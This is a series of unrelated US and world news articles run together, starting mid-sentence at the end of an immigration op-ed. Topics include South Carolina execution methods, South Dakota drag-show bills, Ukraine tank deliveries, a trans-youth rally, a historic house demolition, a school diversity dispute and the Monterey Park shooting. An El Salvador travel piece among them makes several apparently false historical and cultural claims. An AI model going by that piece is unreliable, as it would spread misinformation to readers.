This workforce will contract without the ability to expand again, given that the workers will be forced to leave the labor pool permanently with an exit from the United States. If these corporate giants reverse course down the line or other industries  say, the homegrown semiconductor industry that the Congress and president seem eager to set up  ramp up their demand for tech workers, they simply wont be around anymore.

Meanwhile, countries like Canada are rolling out the red carpet while we make life complicated and unpredictable for workers with specialized skills. Congress must adapt, or risk having the era of U.S. technical supremacy slowly come to a close.
The future of the death penalty in South Carolina remains in limbo after the state Supreme Court heard arguments on Jan. 5 against a district judges decision to make the firing squad and electric chair unconstitutional.

However, the court fixated on one major question during the hearing  why cant the state get drugs for lethal injection?

South Carolina hasnt carried out an execution since 2011 in part due to a struggle to obtain the drugs, leading to legislation passed in 2021 making SC the only state with electrocution as the default method and the fourth state to implement the firing squad.

In September, Judge Jocelyn Newman issued an order ruling the states current available methods of execution were prohibited as cruel, unusual and corporal punishment.

While the Supreme Court mulls its decision on the order, the legislature may take up a bill during its session that would shield the identity of manufacturers looking to sell drugs needed for lethal injection. The lack of a shield law is one obstacle officials previously said has kept the South Carolina Department of Corrections from carrying out executions.

The case against SC's death penalty:Does it violate the state's constitution?

The Supreme Court of South Carolina in Columbia, S.C. in January 2021.

SC Supreme Court questions lethal injection efforts

Oral arguments to the state Supreme Court to appeal the order prohibiting the use of the firing squad and electric chair spanned three hours.

The order barring executions was issued after a week-long trial where attorneys representing four condemned inmates and lawyers for SCDC and Gov. Henry McMaster debated pain and consciousness in the use of the two methods, as well as the definitions of cruel, unusual and corporal.

The January hearing on the appeal of the prohibition centered on the issue of constitutionality. Limits on punishment imposed by the state constitution are broader than protections under the Eighth Amendment in the U.S. Constitution banning only cruel and unusual punishment.

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Justices asked both sides of attorneys for clear definitions of those terms as they reviewed Judge Newmans order from September. As the Supreme Court discussed the trial courts findings on the firing squad and electric chair, justices frequently returned to the matter of lethal injection.

The death penalty has a racist past:In SC, evidence shows that hasn't changed.

I do believe the elephant in the room is why cant we do what every other state does and get the drugs and not have these battles, Justice John Kittredge said during the hearing.

Justice Kaye Hearn expressed frustration that the states attorneys did not answer questions about lethal injection in the trial, as well.

During the trial phase last year, SCDC requested a protective order to limit the scope of what information on execution protocols the plaintiffs could ask for, citing a state statute that prohibits disclosing the identity of anyone on an execution team.

State attorneys also argued that discovery into how the department was trying to obtain lethal injection drugs was irrelevant because attorneys from Justice 360, a nonprofit organization in SC working to reform policies and practices in capital cases representing the inmates, werent arguing the constitutionality of that method.

Judge Newman granted part of the order, barring attorneys from inquiring about SCDCs attempts to obtain the drugs during discovery.

Every time they wanted to talk about lethal injection you all would object, you would move for a protective order, you would stonewall, Justice Kaye Hearn said to William Grayson Lambert, counsel for the state, during the Supreme Court hearing.

This Aug. 17, 2018, photo provided by Justice 360 shows death row inmate Richard Moore at Kirkland Reception and Evaluation Center in Columbia, S.C. Moore was sentenced to death in the 1999 fatal shooting of James Mahoney, a convenience store clerk in Spartanburg County, S.C.

Still, the court pressed the state and SCDC attorneys during the hearing on what steps SCDC Director, Bryan Stirling, was taking to secure drugs for lethal injection.

The revised statute passed in 2021 says a person convicted of a capital crime and having imposed upon him the sentence of death shall suffer the penalty by electrocution or, at the election of the convicted person, by firing squad or lethal injection, if it is available at the time of election.

But what "available" means was up for debate.

It seems to me that a remand is worthy of consideration to have this issue fully vetted before a trial judge and to find out exactly what efforts have been made, what efforts have not been made, and if other states can so easily obtain drugs and carry out the death penalty by lethal injection why cant we? Justice Kittredge said.

A remand of the decision would take the matter back to the trial court to further interrogate the question on the availability of lethal injection. The court indicated it could stay the matter regarding the constitutionality of the firing squad and electric chair in that case.

Dig deeper:Here are the issues and debates that will mold South Carolina politics in 2023

I think the court seemed troubled by the idea that any public official, regardless of how upstanding or well respected, would not be answerable to the court, Madalyn Wasilczuk, assistant professor at the University of South Carolina School of Law, told The Greenville News A remand based on the necessity of discovery on the issue of what steps have been taken by SCDC to obtain lethal injection drugs and why precisely the drugs are in fact unavailable, which we don't know at this stage, other than the representation that the SCDC has not been able to get them.

According to a letter sent from SCDC attorney Daniel Plyler to Justice 360 in November 2020, the current lethal injection protocol was described as a three-drug protocol, which begins with an injection of pentobarbital, followed at an appropriate time internal by Pavulon (Pancuronium Bromide) and then followed at an appropriate time internal by potassium chloride.

SCDC reserves the right to amend its lethal injection protocol and if it is unable to secure sufficient quantities of each of the three drugs listed above, it is prepared to enact a one-drug protocol which would consist of Pentobarbital Sodium, the letter continued.

Plyler told the court the only way SCDC can obtain these drugs is by drug manufacturers, distributors or from a compounding pharmacist. A compounding pharmacy typically serves patients who need drugs that cannot be mass-manufactured.

Its not like these can be bought on a shelf at a store somewhere, Plyler said during the Supreme Court hearing. You cant just go into a Walgreens and buy it.

Plyler said SCDC has explored partnering with compounding pharmacies but has not been successful.

Would a shield law remedy problems in SC?

SCDC struggled to obtain the drugs since 2013 when the departments remaining supplies expired.

Over the past decade, pharmaceutical companies moved away from selling their products for the purpose of lethal injection, citing moral and business reasons. By 2016, Pfizer became the last FDA-approved company to block the sale of their products for lethal injection.

In response, several states adopted shield statutes to protect the identity of drug suppliers willing to sell drugs for the purpose of lethal injection. The South Carolina legislature has taken up shield laws during sessions in the past, though none have passed.

During the hearing, the court inquired why the state has been unable to pass a shield law.

Death penalty opponents rally:Richard Moore's firing squad execution delayed

John Blume, an attorney representing the inmates, told the court it was his understanding that people on death row had not reached the end of their appeals process, creating less urgency when the legislature took up shield law legislation previously.

Does anybody in this courtroom really believe that Justice360, a small nonprofit corporation that represents death-sentenced inmates, could stop the General Assembly from doing something? Blume said.

In a renewed effort, state Senator Greg Hembree, R-North Myrtle Beach, prefiled a bill ahead of the current legislative session that would expand the states current ban on revealing the identities of members of an execution team to include the identities of persons who participate in the planning or administration of an execution death.

We have electrocution, we have firing squad and we have lethal injection if available. With the shield law, it would be available, Hembree told The Greenville News. If you want to give the person on death row the dignity to pick which they want to use, without the shield law thats eliminated.

An opinion from the Attorney Generals office filed in 2015 already clarified members of an execution team include an individual or company that provides or an individual who participates in preparation of, chemical compounds intended for use by the Dept. of Corrections in carrying out an order of execution by lethal injection.

SC lawmakers begin new sessionAbortion and death penalty among hot-button issues.

Hembree said the AG opinion gives a broad interpretation of the law.

This tightens that up, it makes it crystal clear that the producers of the compounds wouldnt be subject to disclosure, Hembree said.

The bill goes further than just protecting the identities of drug suppliers. It also seeks to provide the out-of-state acquisition of drugs intended for use for the administration of the death penalty are exempt from all state licensing processes and requirements administered by the department of health and environmental control (DHEC) or any other agency, as well as regulations promulgated by the Board of Pharmacy.

It also provides pharmacies and pharmacists involved with compounding drugs for lethal injection protections from certain licensing processes and requirements from the Department of Labor.

Does that mean there are no quality controls or any sort of regulations that apply to these drugs because of this? Wasilczuk said about the potential shield law. If that's the case, I would be concerned about their efficacy and whether we're going to just get into a new battle about whether the drugs that are being provided are going to actually do what the state contends that they'll do.

According to DHEC, persons or entities that manufacture, distribute, or dispense controlled substances in South Carolina are required to obtain a South Carolina controlled substances registration from the department.

Pentobarbital, a sedative, is the only drug in SCDCs current lethal injection protocol that is considered a controlled substance, according to a spokesperson from DHEC.

Lesia Shannon Kudelka, communications director with the SC Department of Labor, Licensing and Regulation, told The Greenville News that any entity wishing to ship legend drugs or devices to the state needs a non-resident permit. However, Kudelka said nothing South Carolina Pharmacy Practice Act prohibits a state-licensed pharmacist from compounding the medications themselves.

Sen. Hembrees bill was introduced at the start of session and referred to the Committee on Corrections and Penology. On Jan. 19, it was voted favorably out of the subcommittee 3-1 and will move to the full committee in the next couple weeks.

It wont be an easy debate on the floor, it goes into a debate into the death penalty period, Hembree said. The fundamental thing is do you want to give the defendant this choice or not? Thats what the real question is.

This article originally appeared on Greenville News: SC shield law as Supreme Court debates firing squad, electrocution
South Dakota lawmakers introduced two different bills Tuesday that would prohibit events like a recent drag show held at South Dakota State University from ever occurring again.

House Bill 1116 prohibits the use of state resources in hosting lewd or lascivious content, according to the title. And second bill, House Bill 1125, was filed shortly after HB 1116 on Tuesday and includes drag performances as something minors could not see in the future.

The first bill specifically prohibits the Board of Regents, Board of Technical Education, institutions under their control, state agencies or institutions under the states control, and public school districts from authorizing, spending money or using state owned-facility to develop, implement, facilitate, host, promote or fund any lewd or lascivious content.

Such content would include any specific sexual activity, anatomical areas, nude or seminude adults and adults who remove clothing for the entertainment of one or more people.\

The bill, if signed into law this legislative session, would also prohibit any performance where a performer exhibits a gender identity that is different from the performers sex assigned at birth through the use of clothing, makeup or other physical markers for the predominant purpose of appealing to a prurient interest.

This is similar to the definition of drag, which originated in 19th century British theater and has heavy roots in modern LGBTQ+ culture. It is a form of performance and entertainment that challenges assumptions of gender identity and expression.

The second bill defines "drag performance" as "singing, speaking, dancing, acting, simulation, or pantomiming, where a performer, in a lewd and lascivious manner, and in the presence of others, exhibits a gender identity that is different from the performer's biological sex through the use of clothing, makeup, or other physical markers."

More:Senator signals she will propose to ban drag shows in South Dakota next year

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Bills similar to HB 1116 and HB 1125 have popped up in Arizona, Arkansas, Florida, Idaho, Michigan, Missouri, Montana, Nebraska, North Dakota, Oklahoma, South Carolina, Tennessee, Texas and West Virginia.

Bill likely sparked by SDSU drag show

Introduction of HB 1116 and HB 1125 follows controversy over the annual hosting of a drag show by one SDSU student group. The SDSU Gender and Sexualities Alliance held its annual show Nov. 16, and the event was promoted on the calendar on the universitys website as family-friendly.

Notice of the event drew consternation from some conservative lawmakers, because it was initially unclear to that the event was sponsored not by the university, but by a student group.

Republican Rep. Chris Karr, chair of the House Appropriations Committee and co-chair of the Joint Committee on Appropriations, wrote a letter to SDSU President Barry Dunn and Board of Regents Executive Director Brian Maher ahead of the event. They questioned if it would use taxpayers money and whether it was appropriate.

Brandi Dandi (Stephen Heesch) performs in a drag show on Saturday, June 11, 2022, at Pioneer Park for Brookings Pride.

At least two other Republican representatives shared similar sentiments online. Rep. Jon Hansen called on Dunn to limit children from attending and called the event completely inappropriate. Rep. Scott Odenbach called the event unbelievable and unacceptable.

One day before the event, SDSU President Barry Dunn apologized for the miscommunication surrounding the event and clarified it was sponsored by a recognized student organization, not the university or its multicultural affairs office. Registered student organizations can sponsor lawful events on campus under state codified law and applicable policy, he said.

More:Regents will weigh student activity policies behind closed doors after SDSU drag show sparks criticism

Soon after, conservatives and lawmakers took their complaints about the event to the public comment time at the Regents meeting held Dec. 8 in Rapid City, with one speaker, Republican Sen. Julie Frye-Mueller, signaling she would introduce legislation to quell this issue. And she did just that Tuesday by signing onto HB 1116.

During that meeting, Maher said the BOR wont discriminate against student organizations based on their content, viewpoints or activity, and that access to facilities is equally available to all recognized student organizations.

More than 10 days after that, BOR President Pam Roberts announced a moratorium on minors attendance of any events sponsored by student organizations on campus for the time being. She also announced a meeting would be held Dec. 21 in executive session  behind closed doors  to discuss the show and student activities in general.

More:South Dakota Regents push for new policy involving minors in wake of drag show controversy

After that closed meeting, Regents voted to direct the central office to review all upcoming campus events minors could attend, and to draft a policy concerning minors attendance of campus events.

Impacts and reaction

Drag-like performances have been seen all across the state in public colleges, whether in designated drag events hosted by student groups, in theatrical performances and in opera performances.

The Board of Regents is in the process of reviewing the bill and the impacts the language could have for South Dakota's public universities, communications director Shuree Mortenson said. The BOR plans to pay close attention to this legislation and the actions legislators ultimately take, she said.

The ACLU of South Dakota opposes the bill, because it's the government deciding which types of theater and entertainment are allowable, and that bills like this are overly broad in scope and threaten established educational standards, advocacy manager Samantha Chapman said in a statement.

Drag is a visual expression and celebration of the culture and resilience of the LGBTQ+ and Two Spirit community, and is paved into the history of the movement, Chapman explained. It is performance art and entertainment with elements of singing, dancing, lip syncing and costuming.

Chapman said the bill violates the First Amendment rights of students and student organizations in South Dakota to build community and express themselves through drag performances.

Attempting to shape the narrative by implying that drag is intrinsically lewd or lascivious or that gay and trans spaces shouldnt exist in public education is textbook bigotry, Chapman said.

The bill could also prevent schools from teaching certain pieces of classic literature depicting the existence of transgender individuals and drag performances that have long been included in educational standards, such as Shakespeares Twelfth Night and Merchant of Venice, Yentl, Tootsie and more, Chapman said.

We dont want the government deciding which types of theater and entertainment are allowable and which arent beyond what is already an established constitutional norm, Chapman said. Bills like this are overly broad in scope and threaten established educational standards.

Sioux Falls Pride doesn't support this bill, marketing director Rachel Polan said.

"While the state is entitled to regulate their funds, they are not entitled to violate the people of South Dakota's First Amendment right to freedom of expression," Polan said. "Gender expression is included in this right, as is protest, assembly, and the right speak one's mind."

SDSU student and gay rights activist Cole Sartell said he doesnt see how this would apply to the GSAs drag show, because the event was neither lewd nor lascivious.

In a news release sent Dec. 21, Roberts said the BOR respects the First Amendment, but none of us are happy about children being encouraged to participate in this event on a university campus.

"We want our campuses to be safe and welcoming places for students, staff, and visitors of all ages," Roberts added.

Kassie Kain (Kolbey Weier) winks at an audience member while working the crowd in a drag show on Saturday, June 11, 2022, at Pioneer Park for Brookings Pride.

Libby Skarin, campaigns director for the ACLU of South Dakota, tweeted Dec. 8 the government cant ban forms on-campus or public speech like drag shows.

The First Amendment applies to drag shows, period, Skarin tweeted. State legislators need to stop wasting everyones time with blatantly unconstitutional bills.

This article originally appeared on Sioux Falls Argus Leader: Bills would ban 'lewd' South Dakota school events after SDSU drag show
How can you spend 24 hours in Black-owned El Salvador?

El Salvador is a breathtaking country in Central America. Bordered by Honduras and Guatemala, its culture is vast and rich. And with it located so close to the Pacific Ocean, El Salvador is a popular destination for its beaches.

Its capital and largest city, San Salvador, is home to a number of fun activities for tourists to enjoy. Surfing is an attractive choice for beach bums. And adventure seekers can visit Izalco, an active stratovolcano recognized by avid hikers around the globe.

The Countrys Black Population

El Salvador stretches for more than 8,000 square miles, making it the 27th largest country in the Americas. Not to mention, its population size of nearly 6.5 million is just as impressive.

Part of the population includes Afro-Salvadorans. In the 1500s, approximately 10,000 African men and women were enslaved and routed to El Salvador to work. Over time, that number decreased as African people were forced to assimilate into the dominant culture. And today, less than 1% of Afro-Salvadorans make up the general population.

But even with such a small population, Afro-Salvadorans make their presence known throughout the country. From restaurants to music, there are many ways to celebrate Black history and culture in El Salvador.

How To Spend 24 Hours in Black-owned El Salvador

El Salvador is a beautiful country filled with even more beautiful people. And with so many things to see and do, spending a day in El Salvador can seem daunting. But with a bit of guidance, you can make the most of your trip  and support some Black-owned businesses in the process. Here is how you can spend 24 hours in Black-owned El Salvador:

Hear the Marimba at Dia de Indepencia

View this post on Instagram A post shared by Junior Alejandro (@jag_sv)

The marimba is a popular percussion instrument and the national instrument of El Salvador. Not to be confused with a xylophone, the marimba produces soft, melodic tones after striking its wooden bars.

Story continues

The marimba is also widely celebrated in other parts of the world, from North America to South East Asia. But even though it can be found in many countries, it has origins in Africa. In fact, the first historical record of it in Central America is from the 1500s, when enslaved Africans played it.

Today, tourists can enjoy its sound in El Salvadoran music and dance. To hear it for yourself, visit during Dia de Indepencia, a national celebration of El Salvadoran music, food, and culture.

Have a Meal at Makaryo Pub

El Salvador is known for its food, from pupusas to empanadas. Fortunately, the country is home to many restaurants and bars for tourists to try it all.

Visit Makaryo Pub, a popular restaurant and bar in El Salvador. There, you can find a number of menu items to suit even the pickiest eater.

The eatery specializes in African, South American, and Mediterranean food. So you can expect to enjoy authentic cultural dishes such as Espaguete de Camarao (spaghetti with shrimp) or Ensopado de Carneiro (lamb stew). You can also sample non-native El Salvadoran foods, including spaghetti carbonara and risotto.

Dont forget to end the meal on a sweet note with dessert!

Visit a Historic Site

September 15 marks Dia de Salvador, a national holiday celebrating El Salvadors 1823 declaration of independence from the Spanish Empire. And shortly after this, on December 13, statesman Jose S. Canas helped announce the countrys abolition of slavery.

To pay homage to his contributions towards ending slavery, a statue of Jose S. Canas was erected in Zacatecoluca, La Paz. Nowadays, you can take a trip to the site to see the statue for yourself. Today, droves of tourists visit the area to remember the countrys incredible history and pay their respects to those who died fighting for the rights of those enslaved.

Try an African-inspired Dance Class

Music and dance are a big part of El Salvadoran culture. Its used as a way for the locals to celebrate and pass down their rich history.

But part of El Salvadoran history is Black history. And much of its Black history can be found in its many forms of dance.

For example, Cumbia is a popular dance style in El Salvador. It originated in Africa as a form of courtship before being introduced to El Salvador by African slaves.

For an immersive experience with the culture, try Lets Move Dance Studio in Santa Tecla, El Salvador. There, you can learn all there is to know about El Salvadoran dance culture, from cumbia to salsa.

Related: A Surfers Paradise: Check Out The Best Beaches in El Salvador
Germany has decided to transfer Leopard 2 tanks to Ukraine, German magazine Der Spiegel reported on Jan. 24, citing unnamed sources familiar with the matter. At least one company of tanks, which usually includes about 14 tanks, will be provided by Germany, the report said.

According to the report, Berlin will also authorize the supply of German-made Leopard 2 tanks to Kyiv by other countries, particularly Poland.

The Leopard 2 tanks will come from the warehouses of the Bundeswehr, the report said.

Since the beginning of Russias all-out invasion in February 2022, the German government has been criticized for delaying and blocking arms supplies to Ukraine.

Particularly, Berlin has been under pressure from Ukraine and some Western allies over the supply of long-anticipated main battle Leopard 2 tanks.

Earlier in the day, ABC News reported that 12 countries have agreed to give Ukraine around 100 Leopard 2 tanks after Berlin approves. The agreements were made at the recent Ramstein defense summit, according to the official cited by the publication.

Also on Jan. 24, the Wall Street Journal reported, citing unnamed U.S. officials, that U.S. President Joe Bidens administration leans toward sending a significant number of M1 Abrams tanks to Ukraine. The move would be part of a broader diplomatic understanding with Germany in which Berlin would agree to send a smaller number of its own Leopard 2 tanks and would also approve the delivery of more of the German-made tanks by Poland and other nations, the report said.

There have been media reports that Germany would approve the delivery of Leopards if the U.S. supplied Abrams tanks to Kyiv. However, the German government has denied making such a demand.


Community members gather to protest in protection of transgender children at Park Central Square on the evening of Monday, Jan. 23, 2023. The protest was organized by the Party for Socialism & Liberation in response to MO Senate Bill 42.

Clarification: A previous version of this article stated broadly that S.B. 42 would allow districts to ban transgender girls from youth sports. Specifically, the bill as initially filed would have allowed districts to bar transgender girls from participating in sports on girls teams.

Despite the chilly temperature, about 50 people gathered in Park Central Square on Monday evening in support of transgender youths. The group chanted, cheered and listened to speakers for about an hour. The rally was organized by the Party for Socialism and Liberation-Springfield ahead of a public hearing in Jefferson City for Missouri Senate Bill 42.

The initial version of SB 42, proposed by Republican Sen. Rick Brattin of Harrisonville, contained measures that would allow school districts to ban transgender girls from competing on girls sports teams. That language was removed during Senate committee on Tuesday morning. Senate Bills 48 and 87, from Sen. Mike Moon of Ash Grove and Sen. Ben Brown of Washington, would cut off state funding to schools that allow transgender girls' participation on girls teams in youth sports.

More:Missouri Republicans renew attempts to restrict transgender sports, health care, education

Tonya Claiborne, the PSL-Springfield member who led the event, said the proposed bill and others like it will have a tangible, negative impact on people.

"This affects real peoples' lives. This will kill kids. ... You can't legislate trans away, you can't deny that it exists," Claiborne said.

Tonya Claiborne speaks to community members gathered to protest on behalf of transgender children at Park Central Square on the evening of Monday, Jan. 23, 2023. The protest was organized by the Party for Socialism & Liberation in response to MO Senate Bill 42.

Organizer: Bill doesn't 'protect children'

"Keeping children safe" has become a common turn of phrase for legislators and politicians, but Claiborne is skeptical of such cliches in Missouri's legislature.

"While claiming to protect children, this bill further subjects trans kids to further bullying, harassment and exclusion from essential learning activities and deprives them of a sense of belonging with their peers," Claiborne said.

Story continues

It's not the only bill that imposes restrictions for the purported reason of making Missouri safer for children: There are at least three bills that would prohibit minors from receiving hormone therapy or puberty blockers.

"It doesnt matter to bigots that gender-affirming care is provided according to standard medical practice." Claiborne said. "Thats evidence. Thats science, folks."

Supporters and trans individuals themselves spoke at the rally, asserting that trans children deserve the same protections and rights as any other child.

Victoria Neal attended the rally with her daughter.

"I really oppose exclusionism on every level. I don't believe trans children are any different than other children, and they should not be excluded from anything," Neal said.

To Neal, a child being discriminated against for being trans is like a child being discriminated against for having brown hair  "It's just wrong."

'All marginalized people are increasingly under attack'

Throughout the evening, PSL members handed out hand-warmers and granola bars as speakers called for a united front against oppression.

"This is crucial that we stand against trans oppression and all kinds of oppression," Claiborne said. "... If we don't stand together, they will succeed in separating us."

Claiborne called for people to take action against the ruling class.

"For real change to happen, we must replace capitalism with socialism, she said.

More:Following Colorado LGBTQ nightclub shooting, Springfield gathers to remember trans lives

Community members gather to protest on behalf of transgender children at Park Central Square on the evening of Monday, Jan. 23, 2023. The protest was organized by the Party for Socialism & Liberation in response to MO Senate Bill 42.

While organizers applauded local Democrats' actions, they felt the national party was "using (human) rights as a fundraising campaign" and expressed dismay at the fact that those rights were still in jeopardy.

"We do support the best efforts of those who work within the existing system to uphold our rights," Claiborne said. "But another year has come, and here we are, again."

As in the past summer's rallies, organizers reiterated the danger bills like SB 42 posed to the greater population.

"In recent years, the political establishment of this country has been making a concerted, dangerous effort to attack basic rights of marginalized people and rolling back the basic protections that billions of people have fought so hard for in this country. This bill is not likely to be the last," said organizer Autumn Reynolds.

Missouri State University student Andrew Harper was among the attendees, and emphasized that while people may not realize it, issues of trans rights impact everyone in the community.

"I think that this is a major issue that not many people are aware of or realize just how much it can affect the students here, and the kids here and the children here in Springfield," Harper said. "... People who are from Springfield and people around the world need to understand that this is not just an issue for the people who are directly impacted by this legislation, directly impacted by all of these horrible things that are happening  it's a problem for everyone, it's a problem for everyone to be involved (in) and a problem for everyone to stay involved to fix it."

Before the rally, PSL member Ari Patton shared a similar point.

The effort to protect trans kids' rights "benefits everyone, not just trans kids," Patton said.

Susan Szuch is the health and public policy reporter for the Springfield News-Leader. Follow her on Twitter @szuchsm. Story idea? Email her at sszuch@gannett.com.

This article originally appeared on Springfield News-Leader: Springfield protestors voice support for trans kids
Outside downtown St. Paul, the historic Justus Ramsey House  believed to be the oldest home still standing in its original location within the city  faces increasingly long odds following a decision by St. Paul Mayor Melvin Carter on Monday that it be torn down.

Sign-up sheet in hand, Kristina Cummings toiled nearly until midnight Monday night, encouraging preservation-minded residents to sign up for shifts guarding the 1850s-era limestone structure. She then walked home, determined to return to St. Pauls West Seventh Street by 5 a.m. Tuesday armed with espresso for her growing cadre of volunteers.

Since at least June, restaurant proprietor Mojtaba Sharifkhani  the Moe in Burger Moes  has sought to demolish the Justus Ramsey House, which sits on the outdoor patio of his restaurant along the business corridor. The small stone house, a relic of Minnesotas pioneer era, has survived more than 150 years of real estate development around it, only to suffer a partial wall collapse last year that city officials call a growing danger to public safety.

On Monday evening, the mayor signed an administrative order declaring the Justus Ramsey House a dangerous structure subject to emergency demolition, effectively overriding the objections of the citys Historic Preservation Commission, which had denied the restaurant owner a demolition permit on Dec. 5.

The citys building inspector has found that the building continues to show signs of excessive movement, deterioration and failure, reads the mayors administrative order. (It) is presently in a state of disrepair where additional collapse is imminent.

Historic preservationists have vowed to keep fighting. Tom Schroeder, an attorney working with neighborhood preservationists, filed a temporary restraining order against the demolition with Ramsey County District Court on Monday evening, but the proposed order had yet to be signed by a judge by midnight, leaving open the likelihood that demolition crews could arrive at any moment.

Story continues

Determined to picket, if not block demolition outright through civil disobedience, some two dozen residents gathered Monday night next door to Burger Moes in a backroom at Tom Reids Hockey City Pub to draw up protest signs and better organize.

Neighborhood groups unite

Joining Schroeder there was former St. Paul City Council Member Dave Thune and members of the Fort Road Federation/District 9 Council, the Historic Irvine Park Association, the Little Bohemia Neighborhood Association and Historic St. Paul, as well as a former Public Works Director from Richfield.

The house was constructed for Justus Ramsey, brother to first Minnesota territorial governor Alexander Ramsey, though theres no evidence that either man lived there. Still, amateur historians believe the house was occupied over the years by the citys earliest Black residents, including freed slaves and Pullman railroad porters.

Im sad that were not respectful of the history thats been lived through this house, said Cummings, president of the Historic Irvine Park Association.

At bar close, Historic St. Paul treasurer Elyse Jensen and Minnesota Alliance of Local History Museums coordinator Gibson Stanton were among those who had signed up for volunteer shifts and pledged to monitor the Justus Ramsey House into the wee hours of the morning.

Sharifkhani  also known as Moe Sharif  has maintained that the damaged house at 242 W. Seventh St.  which is condemned by the city  could collapse at any moment and presents a danger to his customers following the partial collapse of a side wall. He has declined repeated interview requests.

A structural review by BKBM Engineers, completed last summer on Sharifkhanis behalf, called for immediate demolition, though a separate review by MacDonald & Mack Architects, commissioned by the city, found that the Justus Ramsey House could potentially be relocated and saved. Carter, in his administrative order, said the city has requested more information about how to shore up the property, without success,

Sharifkhanis attorney, Brian Alton, submitted to the city a letter, dated Nov. 3, from Advanced Masonry Restoration indicating that removal, storage and reconstruction elsewhere would likely cost in the vicinity of $132,000.

Jensen and others have repeatedly alleged demolition by neglect, if not foul play, and said theyve found a private property owner along West Seventh Street willing to host the structure if the city helps pay to relocate it there.

Moe would not have to pay a dollar, Jensen said. He has not met with us once.

Legal questions around potential real estate development

Demolition raises a hornets nest of legal questions, some of which may be off the table as a result of the mayors intervention.

Jensen noted that the structure sits on the National Register of Historic Places, and demolition of the Justus Ramsey House without the citys emergency declaration would likely imperil any chances to obtain federal funding for future real estate development on the lot. By labeling the structure a threat to public safety, a potential development project could still move forward with HUD funding.

The mayors office confirmed last year that Carter joined Sharifkhani at Burger Moes to inspect the site in early October, but they did not release further details about the visit.

Were all for a development, said Jensen, who called the goals of preservation and housing construction not incompatible. You go anywhere in Europe, they build around stuff, they incorporate stuff. Its a highly desirable block. Why wouldnt he want to sell it to a developer? Its fantastic.

Related Articles
In early 2021, some parents started a Facebook group called Concerned Parents of Rockwood School District, and as COVID-19 cases began to decline, the groups criticism shifted to classroom instruction and teachers.

White parents in Missouri successfully eliminated three diversity-related initiatives, using social media to argue against the programs attention to racial and equality issues.

According to The St. Louis Post-Dispatch, the Rockwood School Board voted on Oct. 6, 2022, to eliminate SistaKeeper Social and Emotional Learning Circles, The L.O.V.E. Project, and a mentoring program led by for-profit motivational speaker Tony Thompson.

Since 2017, Thompson has run mentoring sessions and assemblies for middle and high school students, serving around 70 students last year.

Three diversity-related initiatives have been removed from Missouris Rockwood School District following complaints from several white parents. (Photo Credit: Getty Images)

The L.O.V.E. Project, which served around 50 students last year with more to come, hosted 20 one-hour sessions at each of the four district high schools.

SistaKeeper Social and Emotional Learning Circles, which assisted Rockwood middle school girls since 2009 with developing self-confidence and identity, held 12 one-hour sessions at each of six middle schools. Last year, it served roughly 65 pupils.

The programs primarily served Black students  many of whom were from St. Louis and chose to bus to one of the highest-rated and wealthiest districts in the area  and totaled $86,100 this academic year.

Rockwood, which has roughly 20,000 students, participated heavily in the voluntary desegregation program for the area mandated by a court in 1983. Black and white populations peaked at approximately 14 and 82 percent, respectively, in 1999, when the program was at its height. However, both percentages have declined as the districts diversity among other races and ethnicities has increased.

The most recent disputes are related to the districts choice to begin virtual instruction in the fall of 2020. In early 2021, some parents started a Facebook group called Concerned Parents of Rockwood School District, and as COVID-19 cases began to decline, the groups criticism shifted to classrooms and teachers.

Story continues

Parents started questioning classroom instruction and educational initiatives that dealt with diversity-related issues. They leveled complaints against board members, managers, and program providers by sending emails to the administration, requesting public records, creating private Facebook groups, and posting in anonymous blogs.

As a parent, my first and most important job is to protect MY children and what is in their best interests, Facebook group moderator Jennifer Spencer wrote in an email to administrators, according to the Post-Dispatch. And being told that they are racists, or white supremacists, is not true, and is most definitely not in their best interests. I will not allow anyone to make them feel guilt or shame for the color of their skin, which we should know is NEVER OKAY.

In March, Spencer sent then-Superintendent Mark Miles another email in which she complained about Brittany Hogan, the districts former diversity director.

Parents complained about Hogans tweets and books the school had chosen to read, like Stamped, which examines the history of racism in America. Some of the emails and blog posts said Rockwood sought to conceal the teaching of critical race theory (CRT), an academic system centered on the notion that racism is a systemic social construct.

Im for diversity and inclusion 100%, which I believe Rockwood does quite well, parent Amy Krebs told Miles in an email, The Post-Dispatch reported. Its just the BLM/Critical Race Theory Marxist/Communistic ideologies that frighten myself and many other parents.

People within the private Concerned Parents of Rockwood group identified Terry Harris, director of Rockwood Student Services, as a target that same month. A commenter shared his image and an anonymous text message from an alleged employee that read Harris has to be the one that goes first.

Parents distributed a link to his Twitter account, and others publicly urged him to step down.

Miles made his retirement announcement in April, and Hogan also resigned from her position last spring.

Harris, who handled the empowerment programs, left his position last month due to mounting pressure, making him the third administrator to withdraw since 2021.

A commenter in the Concerned Parents group claimed that the now-slashed initiatives violated federal civil rights laws by excluding white students.

Are these vendors really serving our students, or are there other alternative motives? said parent Jan Sprunger, The Post-Dispatch reported. Are these examples for our children? Thank you again to the board members who are looking out for our students and making wise decisions on how to better use our tax dollars.

TheGrio is FREE on your TV via Apple TV, Amazon Fire, Roku and Android TV. Also, please download theGrio mobile apps today!

The post Step by step, this is how white Missouri parents wiped out 3 diversity programs appeared first on TheGrio.
People visit the scene of a mass shooting on Sunday, January 22, 2023 in Monterey Park. Sarah Reingewirtz/MediaNews Group/Los Angeles Daily News via Getty Images

The AAPI community is reeling after a deadly shooting in Monterey Park, California this weekend.

Dismissing the tragedy due to the suspect's race ignores the experience of Asian Americans and a history of targeted violence.

Public safety and community-centered solutions are necessary to solving an 'epidemic' of violence.

The Asian community in America is grieving after a mass shooting following a Lunar New Year celebration in California this weekend.

Ten people were killed at a ballroom dance studio in Monterey Park on Saturday night, according to authorities. The city, which has a majority Asian population, is widely regarded as the first suburban Chinatown and a haven for many Asian Americans.

Police found the suspected gunman on Sunday, dead from a self-inflicted gunshot. Authorities have not announced a motive, but familiar feelings of fear and dread swiftly resurfaced among the AAPI community, which has faced a surge in anti-Asian hate crimes since the start of the pandemic.

When authorities revealed the suspect was a man of Asian descent, some media outlets and pundits criticized politicians and members of the Asian American community who had condemned the shooting as an act of hate.

But the suspect's race does not preclude apprehension or calls for solidarity. To dismiss  and even ridicule  the tragedy as just another mass shooting is also a dismissal of the experiences of the Asian American community, and a history of marginalization, targeted violence, and bigotry.

"The incident highlights the fact that there are many forms of violence our community deals with all the time, and gun shootings and mass violence are a part of that," Jane Shim, who leads anti-Asian violence work at the Asian American Legal Defense and Education Fund, said.

"A 'gotcha' is a totally absurd thing to say when incidents of anti-Asian violence occur every day, whether it's serious physical violence or verbal harassment," Shim told Insider.

Story continues

Heightened fear amid a history of violence

